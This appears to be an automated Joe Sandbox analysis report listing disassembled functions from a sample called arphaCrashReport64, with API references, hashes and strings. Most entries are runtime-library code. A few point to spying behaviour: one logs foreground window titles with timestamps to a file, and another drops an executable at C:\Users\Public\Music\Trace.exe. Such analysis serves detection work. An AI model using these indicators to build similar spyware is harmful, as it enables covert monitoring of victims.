Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction ID: d8dafd2554da9cb5c0eb3c39bf22372fab72b04b844c0aa51446b2f2453a5b36
Opcode Fuzzy Hash: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction Fuzzy Hash: D6519130A54B4D8FEB65FF98D49ABEEB7A1FB69302F50051E900DE3292DA309445CF81

Function 0000021497C3CA18 Relevance: 7.7, APIs: 5, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497C42C48: malloc.LIBCMT ref: 0000021497C42C62

std::exception::exception.LIBCMT ref: 0000021497C3CAC3
free.LIBCMT ref: 0000021497C3CB45
free.LIBCMT ref: 0000021497C3CB57
free.LIBCMT ref: 0000021497C3CB69
free.LIBCMT ref: 0000021497C3CB7B

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: 9d15a7552b76877c17e2b0eb10b9305d252347b810d83b7e134599701d9058ab
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: 5D516C70514A4D8FEB65EF98D499BEE77A0FF68302F00056ED80ED3292DA30A905CB81

Function 0000021497F3BC3C Relevance: 7.7, APIs: 5, Instructions: 168COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000021497F3BCCF
__free_lconv_num.LIBCMT ref: 0000021497F3BDA3
free.LIBCMT ref: 0000021497F3BDAF
free.LIBCMT ref: 0000021497F3BE5E
free.LIBCMT ref: 0000021497F3BE6A

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$__free_lconv_num
String ID:
API String ID: 1547021563-0
Opcode ID: c16b6f9737590003a136c8fcef27dda7f25507dba1af4cbde7d58d3b88c3e8cd
Instruction ID: 88f8b67eaf7622509ed3bfb8f9640bc465fc6f0272223845e04e65abea5adc85
Opcode Fuzzy Hash: c16b6f9737590003a136c8fcef27dda7f25507dba1af4cbde7d58d3b88c3e8cd
Instruction Fuzzy Hash: BD61A33230578489EB64EF25E468BEA77A0F7A4BC5F004925EB9D57799EB38C442CB40

Function 0000021497C46B98 Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497C46BBE
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C46BC9
_getptd.LIBCMT ref: 0000021497C46BD5
_lock.LIBCMT ref: 0000021497C46C0E
_lock.LIBCMT ref: 0000021497C46CA1

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction ID: 041b10ddf22d299b4a3f9cf33c9ad297b78a02de1022808a6d3d40dacbae529f
Opcode Fuzzy Hash: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction Fuzzy Hash: 6A41DA30658A888BFB54FB58A449FFB33D1FBA8311F14496DE84EC72DFDA6498018B51

Function 0000021497F371E0 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F37206
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F37211
_getptd.LIBCMT ref: 0000021497F3721D
_lock.LIBCMT ref: 0000021497F37256
_lock.LIBCMT ref: 0000021497F372E9

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: f453061cc0ae8c4d2774961133183c75c1575bd9b631a75802a1a20d267780ef
Instruction ID: 1b5af9d6213e7437e1c5d4f9c482e5eb69e98d559b45a9e2e537a57be2f8b3e9
Opcode Fuzzy Hash: f453061cc0ae8c4d2774961133183c75c1575bd9b631a75802a1a20d267780ef
Instruction Fuzzy Hash: 74419F3120568481FB44FB25E9A8FEB6391F7A5BD6F140928ED5D277DADE38C4018F10

Function 0000021497F3A9F4 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0000021497F3ABAF), ref: 0000021497F3AA4E
malloc.LIBCMT ref: 0000021497F3AAB2
MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0000021497F3ABAF), ref: 0000021497F3AAFA
GetStringTypeW.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0000021497F3ABAF), ref: 0000021497F3AB11
free.LIBCMT ref: 0000021497F3AB25

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: ee07f6c5636d413e7892bfcbeb0f91cdd1ccbdd2d21149ca3b3503bd82049be4
Instruction ID: 6285851b88929794faa9bc6add1c5a96640e3262862e504f7deca42e036aecf5
Opcode Fuzzy Hash: ee07f6c5636d413e7892bfcbeb0f91cdd1ccbdd2d21149ca3b3503bd82049be4
Instruction Fuzzy Hash: DF416432200A80C6EF10AF269815ADA73D5FB64BEAF584A16EE2D577D9DB39C4018B40

Function 0000021497F433D8 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 0000021497F43419
_exception_enabled.LIBCMT ref: 0000021497F4343C

Part of subcall function 0000021497F4331C: _set_statfp.LIBCMT ref: 0000021497F43343
Part of subcall function 0000021497F4331C: _set_statfp.LIBCMT ref: 0000021497F433B6

_raise_exc.LIBCMT ref: 0000021497F43488
_ctrlfp.LIBCMT ref: 0000021497F434C8
_ctrlfp.LIBCMT ref: 0000021497F434F9

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _ctrlfp$_set_statfp$_exception_enabled_raise_exc
String ID:
API String ID: 3456427917-0
Opcode ID: 12a622c847374f3166387e9d70a91a980054b998477e05dec9cd0e20066f5fc0
Instruction ID: d180bde400b473a37cdeb8c20d40ba30158d9e0ae705e0c745c0631956029b4e
Opcode Fuzzy Hash: 12a622c847374f3166387e9d70a91a980054b998477e05dec9cd0e20066f5fc0
Instruction Fuzzy Hash: A9319132614A848AEB21EF24E819BEFB770FB95799F000615FE4D2BA59DF38C445CB00

Function 0000021497F33E80 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 0000021497F33EA9
RtlDecodePointer.NTDLL ref: 0000021497F33EB9

Part of subcall function 0000021497F3846C: _errno.LIBCMT ref: 0000021497F38475
Part of subcall function 0000021497F3846C: _invalid_parameter_noinfo.LIBCMT ref: 0000021497F38480

RtlEncodePointer.NTDLL ref: 0000021497F33F37

Part of subcall function 0000021497F35400: realloc.LIBCMT ref: 0000021497F3542B
Part of subcall function 0000021497F35400: Sleep.KERNEL32(?,?,00000000,0000021497F33F27,?,?,?,0000021497F33F95,?,?,?,?,0000021497F3330B), ref: 0000021497F35447

RtlEncodePointer.NTDLL ref: 0000021497F33F47
RtlEncodePointer.NTDLL ref: 0000021497F33F54

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$Encode$Decode$Sleep_errno_invalid_parameter_noinforealloc
String ID:
API String ID: 1909145217-0
Opcode ID: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction ID: 6758a4499db00c365962a72c87f50e751658e75482b554452a23e8d0835701f4
Opcode Fuzzy Hash: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction Fuzzy Hash: C8219131301B4181EE04FB65F96C6EBA2A1BB68BC2F844C25DE4D67798EF38C049CB04

Function 0000021497F2DD70 Relevance: 7.6, APIs: 5, Instructions: 61stringtimeCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0000021497F2DD9F
GetWindowTextA.USER32 ref: 0000021497F2DDBC
lstrlen.KERNEL32 ref: 0000021497F2DDF5
GetLocalTime.KERNEL32 ref: 0000021497F2DE04
wsprintfA.USER32 ref: 0000021497F2DE54

Part of subcall function 0000021497F2DCA0: WaitForSingleObject.KERNEL32 ref: 0000021497F2DCBC
Part of subcall function 0000021497F2DCA0: CreateFileA.KERNEL32 ref: 0000021497F2DCEE
Part of subcall function 0000021497F2DCA0: SetFilePointer.KERNEL32 ref: 0000021497F2DD13
Part of subcall function 0000021497F2DCA0: lstrlen.KERNEL32 ref: 0000021497F2DD1C
Part of subcall function 0000021497F2DCA0: WriteFile.KERNEL32 ref: 0000021497F2DD39
Part of subcall function 0000021497F2DCA0: CloseHandle.KERNEL32 ref: 0000021497F2DD42
Part of subcall function 0000021497F2DCA0: ReleaseMutex.KERNEL32 ref: 0000021497F2DD54

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: File$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID:
API String ID: 3163932117-0
Opcode ID: 9c2e0b957a80f6091012f204cde0cca7ec84f3484f66381548a359e3a2c0dc0e
Instruction ID: 141326905b29b5083238d6a20040f096b5fdef33bc46e5e497ed2fed8ad632b6
Opcode Fuzzy Hash: 9c2e0b957a80f6091012f204cde0cca7ec84f3484f66381548a359e3a2c0dc0e
Instruction Fuzzy Hash: 7C318FB2248A4582E710FF15E8597EBB361F7E4785F404425EA8E52A69EF7CC158CB04

Function 00007FF60017FA70 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF60017FA98
_set_statfp.LIBCMT ref: 00007FF60017FAB3
_set_statfp.LIBCMT ref: 00007FF60017FACF
_set_statfp.LIBCMT ref: 00007FF60017FB0B

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a2ede21bcdb1ffc6f849cceea62f3b27e54c7ac4f1c2c35b27aa84f998c663a0
Instruction ID: bfc273c18e1a102ee1f01382e73c5ba27bf5506274c8969f9601b62f925872bd
Opcode Fuzzy Hash: a2ede21bcdb1ffc6f849cceea62f3b27e54c7ac4f1c2c35b27aa84f998c663a0
Instruction Fuzzy Hash: 8D11A723E1CA0721F75411F8E45237711A06F5C370F3906F8FA6E8B3DE9EACA9864610

Function 0000021497F398D0 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000021497F39907
GetCurrentProcessId.KERNEL32 ref: 0000021497F39912
GetCurrentThreadId.KERNEL32 ref: 0000021497F3991E
GetTickCount.KERNEL32 ref: 0000021497F3992A
QueryPerformanceCounter.KERNEL32 ref: 0000021497F3993B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction ID: 3c6577d56a468bf8d8088fa2afda620ea180bd430c635d41ae435a4b8617c46f
Opcode Fuzzy Hash: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction Fuzzy Hash: 7801C431269A0082E740EF21F86C7A73360F769BD6F142920EE5E577A8DB3CC9858B04

Function 0000021497F2E600 Relevance: 7.5, APIs: 5, Instructions: 37sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 0000021497F2E625
WaitForSingleObject.KERNEL32 ref: 0000021497F2E635
CloseHandle.KERNEL32 ref: 0000021497F2E642
Sleep.KERNEL32 ref: 0000021497F2E64D
CloseHandle.KERNEL32 ref: 0000021497F2E673

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandle$ObjectSingleSleepTerminateThreadWait
String ID:
API String ID: 3303361366-0
Opcode ID: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction ID: 8c3454ad6575faa31d0578d0970de367e7537ee95696d28bece7149e26610c55
Opcode Fuzzy Hash: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction Fuzzy Hash: A7115B32654B80C3EB54EF21F8AC6EA7360F794B82F584921DB9E13259DF38D486DB04

Function 0000021497C43A64 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497C42CEC: _getptd.LIBCMT ref: 0000021497C42CFE

_errno.LIBCMT ref: 0000021497C43A91
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C43A9C

Part of subcall function 0000021497C48670: iswctype.LIBCMT ref: 0000021497C486DD

Strings

Z, xrefs: 0000021497C43ADA
A, xrefs: 0000021497C43AD4

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction ID: 03ae6fa68fbca222c65af45c455fe45e4789eea30be82539ef809eb34063ebdd
Opcode Fuzzy Hash: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction Fuzzy Hash: 983128319847D54BE7B0BB58804DFF7B6E0FBA4322F980A1AA8DDD71D9C624C880CB51

Function 0000021497C50EC9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497C50ED1
_getptd.LIBCMT ref: 0000021497C50F93
_getptd.LIBCMT ref: 0000021497C50F9F

Strings

csm, xrefs: 0000021497C50F53

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: 095ef1c1b00e23dd5eb6f344767b5a82cfae2c9271333d8bc527c05cf71a2ee1
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: F6315230108B448FDB64EF58D485BAA73E1FB69712F500A6DD48E83592D732E946CF86

Function 0000021497F4312C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 0000021497F43167
_errno.LIBCMT ref: 0000021497F43171
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F43178

Strings

-, xrefs: 0000021497F43193

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: f15782d6f828dd88211d5f1d9bfd9215f81b2dc49f1de837d3fae0d8b09ecb77
Instruction ID: a93e3291a44c8b68789ec8a39e15c50ec6ad484b848d6d8d97c76dfac217ccce
Opcode Fuzzy Hash: f15782d6f828dd88211d5f1d9bfd9215f81b2dc49f1de837d3fae0d8b09ecb77
Instruction Fuzzy Hash: 97313A3230468046EA20EB21A81CBDBB7A0ABA5BE5F144511EF9C27BCDDF2DC449CF00

Function 0000021497F340AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F33334: _getptd.LIBCMT ref: 0000021497F33346

_errno.LIBCMT ref: 0000021497F340D9
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F340E4

Part of subcall function 0000021497F38CB8: iswctype.LIBCMT ref: 0000021497F38D25

Strings

Z, xrefs: 0000021497F34122
A, xrefs: 0000021497F3411C

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: e463f11662c860f1c4b49eded7e33c7647cd997a7b129c801fd5d77c378dd932
Instruction ID: d4c7462e697588b27df9874e128eef24f2e652c73449d8e55be341344ebdbd39
Opcode Fuzzy Hash: e463f11662c860f1c4b49eded7e33c7647cd997a7b129c801fd5d77c378dd932
Instruction Fuzzy Hash: F021C572A14B9181EF71771590686FF76A0E370BF2F648512EADD177DDC628C8418F04

Function 0000021497F43728 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F43741
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F4374D
_errno.LIBCMT ref: 0000021497F43774

Strings

1, xrefs: 0000021497F437C3

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: 1
API String ID: 2819658684-2212294583
Opcode ID: 4dcdf7c8606f53b697be72d95b9b2b5693e7dc8786f4527748fd3ec7fc62c8fe
Instruction ID: 5bc6d7d58575497a5c8f718db52a82c099c264cb298c0ddbba9854a5943c2be7
Opcode Fuzzy Hash: 4dcdf7c8606f53b697be72d95b9b2b5693e7dc8786f4527748fd3ec7fc62c8fe
Instruction Fuzzy Hash: AB21FBB117C2C087F717FB24842CFDE5A50BF62786F59C811D68D3628BD62D89488B11

Function 0000021497F33290 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 0000021497F3329E
malloc.LIBCMT ref: 0000021497F332AA

Part of subcall function 0000021497F35728: _FF_MSGBANNER.LIBCMT ref: 0000021497F35758
Part of subcall function 0000021497F35728: RtlAllocateHeap.NTDLL ref: 0000021497F3577D
Part of subcall function 0000021497F35728: _callnewh.LIBCMT ref: 0000021497F35796
Part of subcall function 0000021497F35728: _errno.LIBCMT ref: 0000021497F357A1
Part of subcall function 0000021497F35728: _errno.LIBCMT ref: 0000021497F357AC

std::exception::exception.LIBCMT ref: 0000021497F33317

Strings

bad allocation, xrefs: 0000021497F332E7

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _callnewh_errno$AllocateHeapmallocstd::exception::exception
String ID: bad allocation
API String ID: 608171114-2104205924
Opcode ID: 92ccbdd45ddd4e3c0f64f09dc9e2e3b242226f5de8337ccf23c66fa160172d41
Instruction ID: d9104a98a7b5b99c6a8e59693471f717480a4a3282b38a111c246d1c058dcc94
Opcode Fuzzy Hash: 92ccbdd45ddd4e3c0f64f09dc9e2e3b242226f5de8337ccf23c66fa160172d41
Instruction Fuzzy Hash: 80011E7129070A91FA10FB20F46DBD76790EB78382F440825D94D676AAEB38C14DCF00

Function 0000021497F2F2D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000021497F2F303
WriteFile.KERNEL32 ref: 0000021497F2F339
CloseHandle.KERNEL32 ref: 0000021497F2F344

Strings

C:\Users\Public\Music\Trace.exe, xrefs: 0000021497F2F2DC

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\Public\Music\Trace.exe
API String ID: 1065093856-248444187
Opcode ID: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction ID: 564cd876170af985551848a9127f183acbd6042a3e10d46c61e0bab7bd0d55f0
Opcode Fuzzy Hash: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction Fuzzy Hash: EC017C3270474083E7509F65F958A9AA3A0F7987F8F440A25EAAE43B98DBBCC5448F04

Function 0000021497F34F58 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,000000FF,0000021497F34FA1,?,?,00000028,0000021497F35771,?,?,000EBBA100000000,0000021497F3532C,?,?,ceil,0000021497F39B11), ref: 0000021497F34F67
GetProcAddress.KERNEL32(?,?,000000FF,0000021497F34FA1,?,?,00000028,0000021497F35771,?,?,000EBBA100000000,0000021497F3532C,?,?,ceil,0000021497F39B11), ref: 0000021497F34F7C

Strings

mscoree.dll, xrefs: 0000021497F34F60
CorExitProcess, xrefs: 0000021497F34F72

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 00870a51d3a86f5849b97045870c3183e94da1734dad8510d32b40a3d6ecaddc
Instruction ID: c0dd8f11eb4a9df2d63e5a9a5efa399273fce78e27b4a8622712f923182e9773
Opcode Fuzzy Hash: 00870a51d3a86f5849b97045870c3183e94da1734dad8510d32b40a3d6ecaddc
Instruction Fuzzy Hash: CBE0123075270043FE19FB60A8BCBB613907B68BC2F4C1828D42E17399EE28C589DB04

Function 0000021497F36894 Relevance: 6.4, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F352FC: malloc.LIBCMT ref: 0000021497F35327
Part of subcall function 0000021497F352FC: Sleep.KERNEL32(?,?,ceil,0000021497F39B11,?,?,?,0000021497F39BBB,?,?,00000000,0000021497F34875,?,?,00000000,0000021497F3492C), ref: 0000021497F3533A

free.LIBCMT ref: 0000021497F369C0
free.LIBCMT ref: 0000021497F369DC

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$Sleepmalloc
String ID:
API String ID: 1995388493-0
Opcode ID: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction ID: 8323a6abcccac2d68e92458b6dfde3ad7c9ecd77dec9475f25e7ffabf79535f9
